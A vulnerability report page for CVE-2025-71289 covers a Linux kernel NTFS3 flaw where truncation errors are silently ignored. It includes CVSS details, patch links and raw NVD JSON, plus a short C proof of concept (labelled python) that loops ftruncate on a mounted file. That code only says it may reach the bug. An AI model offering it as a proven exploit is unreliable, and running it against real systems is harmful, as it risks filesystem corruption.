Security Vulnerability Report
中文
CVE-2025-71289 CVSS 5.5 MEDIUM

CVE-2025-71289

Published: 2026-05-06 12:16:28
Last Modified: 2026-05-13 21:08:55
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: handle attr_set_size() errors when truncating files If attr_set_size() fails while truncating down, the error is silently ignored and the inode may be left in an inconsistent state.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (详情请参考Git提交记录)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2025-71289 * This code demonstrates the logic issue where truncation errors * in the NTFS3 driver might be ignored. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { // Target file on an NTFS3 mounted filesystem const char *file_path = "/mnt/ntfs_share/vulnerable_file.dat"; int fd; fd = open(file_path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Failed to open file"); return 1; } printf("[+] File opened. Attempting to trigger truncation bug...\n"); // Repeatedly attempt to truncate the file to induce error conditions // Depending on the specific state of the FS, this may trigger the ignored error path. for (int i = 0; i < 10; i++) { if (ftruncate(fd, i * 1024) != 0) { perror("[-] Truncate failed"); } } close(fd); printf("[+] Done. Check system logs for inconsistencies.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71289", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:28.103", "lastModified": "2026-05-13T21:08:55.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: handle attr_set_size() errors when truncating files\n\nIf attr_set_size() fails while truncating down, the error is silently\nignored and the inode may be left in an inconsistent state."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.19.6", "matchCriteriaId": "B425F6AD-2EF9-4AE4-A9ED-BD6089D20ECB"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/576248a34b927e93b2fd3fff7df735ba73ad7d01", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6dfea43d11513b7f2892529de55e8f0855108a2c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}